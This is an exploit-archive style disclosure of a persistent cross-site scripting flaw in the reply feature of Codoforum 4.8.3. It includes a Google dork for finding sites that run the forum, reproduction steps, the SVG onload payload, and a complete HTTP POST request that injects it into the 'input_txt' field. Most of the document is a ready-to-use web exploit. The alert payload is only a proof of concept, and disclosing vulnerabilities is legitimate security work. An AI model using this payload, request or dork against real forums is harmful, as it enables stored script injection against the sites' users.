Codoforum 4.8.3 – ‘input_txt’ Persistent Cross-Site Scripting
# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting # Google Dork: intext:"Powered by Codoforum" # Date: 2020-01-07 # Exploit Author: Vyshnav Vizz # Vendor Homepage: https://codoforum.com/index.php # Software Link: https://codoforum.com/buy # Version: Codoforum 4.8.3 # Tested on: Linux # CVE : N/A Codoforum is prone to a Persistent Cross-site Scripting Vulnerability in User-Comment replay section An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks. Codoforum version 4.8.3 is vulnerable. 1. Install Codoforum 4.8.3 in a local server. 2. Go to Start a new Topic >> Replay to any of the comment with XSS Payload 3. Payload : "><svg/onload=alert(1)> 4. Now an XSS alert will be triggered here. POC: POST /forum/index.php?u=/Ajax/topic/reply HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 214 Origin: http://susmost.com Connection: close Referer: http://localhost/forum/index.php?u=/topic/21/avg-antivirus-download-avg-antivirus-free-download-topbrandscompare Cookie: PHPSESSID=b5dccfcef3b5f4ce9571fbd3269d5b23; cf=0 input_txt="><svg/onload=alert(1)>&output_txt=STARTCODOTAGp%3E%22%26gt%3B%26lt%3Bsvg%2Fonload%3Dalert(1)%26gt%3BSTARTCODOTAG%2Fp%3E%0A&tid=21&end_of_line=&token=35f5f85a86b15f475bbd9b79de313fa0&pid=false |